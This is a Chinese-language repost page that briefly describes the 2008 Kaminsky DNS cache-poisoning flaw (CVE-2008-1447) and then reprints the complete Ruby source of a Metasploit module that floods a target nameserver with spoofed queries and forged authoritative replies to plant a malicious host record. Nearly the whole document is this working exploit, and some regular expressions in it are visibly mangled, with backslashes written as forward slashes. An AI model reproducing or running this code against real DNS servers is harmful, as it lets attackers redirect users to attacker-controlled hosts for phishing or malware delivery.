DNS攻击代码

来源:互联网 发布:网络管理的五大功能 编辑:程序博客网 时间:2024/04/28 18:38

 著名黑客HD Moore已经率先公布了可用代码.利用这段代码可以对DNS服务器进行投毒,将一条恶意纪录植入目标服务器,该服务器将随机发起域名查询,此时攻击者可以提供伪造的响应,将域名服务器中的纪录指向其特定站点.

这个漏洞攻击可以默默的改变用户的升级服务下载恶意软件,IOActive研究者Dan Kaminsky很早发现漏洞并且无意中这周公布了漏洞使得开发出攻击代码.infoworld.com网站也提醒了这个攻击导致的网络钓鱼欺骗的问题.

 

源代码如下:

1require 'msf/core'
2require 'net/dns'
3require 'scruby'
4require 'resolv'
5
6module Msf
7
8class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
9
10        include Exploit::Remote::Ip
11
12        def initialize(info = {})
13                super(update_info(info,
14                        'Name'           => 'DNS BaliWicked Attack',
15                        'Description'    => %q{
16                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which
17                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
18                                malicious host entry into the target nameserver by sending random sub-domain
19                                queries to the target DNS server coupled with spoofed replies to those
20                                queries from the authoritative nameservers for the domain which contain a
21                                malicious host entry for the hostname to be poisoned in the authority and
22                                additional records sections.  Eventually, a guessed ID will match and the
23                                spoofed packet will get accepted, and due to the additional hostname entry
24                                being within baliwick constraints of the original request the malicious host
25                                entry will get cached.
26                        },
27                        'Author'         => [ 'I)ruid', 'hdm' ],
28                        'License'        => MSF_LICENSE,
29                        'Version'        => '$Revision$',
30                        'References'     =>
31                                [
32                                        [ 'CVE', '2008-1447' ],
33                                        [ 'US-CERT-VU', '8000113' ],
34                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35                                ],
36                        'Privileged'     => true,
37                        'Targets'        =>
38                                [
39                                        ["BIND", 
40                                                {
41                                                        'Arch' => ARCH_X86,
42                                                        'Platform' => 'linux',
43                                                },
44                                        ],
45                                ],
46                        'DisclosureDate' => 'Jul 21 2008'
47                        ))
48                       
49                        register_options(
50                                [
51                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57                                ], self.class)
58                                       
59        end
60       
61        def auxiliary_commands
62                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63        end
64
65        def cmd_check(*args)
66                targ = args[0] || rhost()
67                if(not (targ and targ.length > 0))
68                        print_status("usage: check [dns-server]")
69                        return
70                end
71
72                print_status("Using the Metasploit service to verify exploitability...")
73                srv_sock = Rex::Socket.create_udp(
74                        'PeerHost' => targ,
75                        'PeerPort' => 53
76                )               
77
78                random = false
79                ports  = []
80                lport  = nil
81               
82                1.upto(5) do |i|
83               
84                        req = Resolv::DNS::Message.new
85                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87                        req.rd = 1
88                       
89                        srv_sock.put(req.encode)
90                        res, addr = srv_sock.recvfrom()
91                       
92
93                        if res and res.length > 0
94                                res = Resolv::DNS::Message.decode(res)
95                                res.each_answer do |name, ttl, data|
96                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
97                                                t_addr, t_port = $1.split(':')
98
99                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
100                                                t_port = t_port.to_i
101                                                if(lport and lport != t_port)
102                                                        random = true
103                                                end
104                                                lport  = t_port
105                                                ports << t_port
106                                        end
107                                end
108                        end     
109                end
110               
111                srv_sock.close
112               
113                if(ports.length < 5)
114                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115                        return
116                end
117               
118                if(random)
119                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120                        print_status("      This server may still be exploitable, but not by this tool.")
121                else
122                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123                end
124        end
125               
126        def run
127                target   = rhost()
128                source   = Rex::Socket.source_address(target)
129                sport    = datastore['SRCPORT']
130                hostname = datastore['HOSTNAME'] + '.'
131                address  = datastore['NEWADDR']
132                recons   = datastore['RECONS']
133                xids     = datastore['XIDS'].to_i
134                ttl      = datastore['TTL'].to_i
135
136                domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
137
138                srv_sock = Rex::Socket.create_udp(
139                        'PeerHost' => target,
140                        'PeerPort' => 53
141                )
142
143                # Get the source port via the metasploit service if it's not set
144                if sport.to_i == 0
145                        req = Resolv::DNS::Message.new
146                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148                        req.rd = 1
149                       
150                        srv_sock.put(req.encode)
151                        res, addr = srv_sock.recvfrom()
152                       
153                        if res and res.length > 0
154                                res = Resolv::DNS::Message.decode(res)
155                                res.each_answer do |name, ttl, data|
156                                        if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
157                                                t_addr, t_port = $1.split(':')
158                                                sport = t_port.to_i
159
160                                                print_status("Switching to target port #{sport} based on Metasploit service")
161                                                if target != t_addr
162                                                        print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163                                                end
164                                        end
165                                end
166                        end
167                end
168
169                # Verify its not already cached
170                begin
171                        query = Resolv::DNS::Message.new
172                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173                        query.rd = 0
174
175                        begin
176                                cached = false
177                                srv_sock.put(query.encode)
178                                answer, addr = srv_sock.recvfrom()
179
180                                if answer and answer.length > 0
181                                        answer = Resolv::DNS::Message.decode(answer)
182                                        answer.each_answer do |name, ttl, data|
183                                                if((name.to_s + ".") == hostname  and data.address.to_s == address)
184                                                        t = Time.now + ttl
185                                                        print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186                                                        print_status("         Cache entry expires on #{t.to_s}... sleeping.")
187                                                        cached = true
188                                                        sleep ttl
189                                                end
190                                        end
191                                end
192                        end until not cached
193                rescue ::Interrupt
194                        raise $!
195                rescue ::Exception => e
196                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197                end
198
199                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200
201                print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202
203                # Look up the nameservers for the domain
204                print_status "Querying recon nameserver for #{domain}'s nameservers..."
205                answer0 = res0.send(domain, Net::DNS::NS)
206                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207
208                barbs = [] # storage for nameservers
209                answer0.answer.each do |rr0|
210                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211                        if rr0.type == 'NS'
212                                print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214                                #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215                                answer1.answer.each do |rr1|
216                                        print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
218                                        print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219                                        answer2 = res2.send(domain)
220                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222                                                barbs << nsrec
223                                                print_status "  #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224                                        end
225                                end
226                        end     
227                end
228
229                if barbs.length == 0
230                        print_status( "No DNS servers found.")
231                        srv_sock.close
232                        disconnect_ip
233                        return
234                end
235
236                # Flood the target with queries and spoofed responses, one will eventually hit
237                queries = 0
238                responses = 0
239
240                connect_ip if not ip_sock
241
242                print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243
244                while true
245                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246
247                        # Send spoofed query
248                        req = Resolv::DNS::Message.new
249                        req.id = rand(2**16)
250                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251
252                        req.rd = 1
253
254                        buff = (
255                                Scruby::IP.new(
256                                        #:src   => barbs[0][:addr].to_s,
257                                        :src   => source,
258                                        :dst   => target,
259                                        :proto => 17
260                                )/Scruby::UDP.new(
261                                        :sport => (rand((2**16)-1024)+1024).to_i,
262                                        :dport => 53
263                                )/req.encode
264                        ).to_net
265                        ip_sock.sendto(buff, target)
266                        queries += 1
267                       
268                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269                        req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270                        req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271                        req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272                        req.qr = 1
273                        req.ra = 1
274
275                        p = rand(4)+2*10000
276                        p.upto(p+xids-1) do |id|
277                                req.id = id
278                                barbs.each do |barb|
279                                        buff = (
280                                                Scruby::IP.new(
281                                                        #:src   => barbs[i][:addr].to_s,
282                                                        :src   => barb[:addr].to_s,
283                                                        :dst   => target,
284                                                        :proto => 17
285                                                )/Scruby::UDP.new(
286                                                        :sport => 53,
287                                                        :dport => sport.to_i
288                                                )/req.encode
289                                        ).to_net
290                                        ip_sock.sendto(buff, target)
291                                        responses += 1
292                                end
293                        end
294
295                        # status update
296                        if queries % 1000 == 0
297                                print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298                        end
299
300                        # every so often, check and see if the target is poisoned...
301                        if queries % 250 == 0
302                                begin
303                                        query = Resolv::DNS::Message.new
304                                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305                                        query.rd = 0
306       
307                                        srv_sock.put(query.encode)
308                                        answer, addr = srv_sock.recvfrom()
309
310                                        if answer and answer.length > 0
311                                                answer = Resolv::DNS::Message.decode(answer)
312                                                answer.each_answer do |name, ttl, data|
313                                                        if((name.to_s + ".") == hostname and data.address.to_s == address)
314                                                                print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315                                                                disconnect_ip
316                                                                return
317                                                        end
318                                                end
319                                        end
320                                rescue ::Interrupt
321                                        raise $!
322                                rescue ::Exception => e
323                                        print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324                                end
325                        end
326
327                end
328
329        end
330
331end
332end   
原创粉丝点击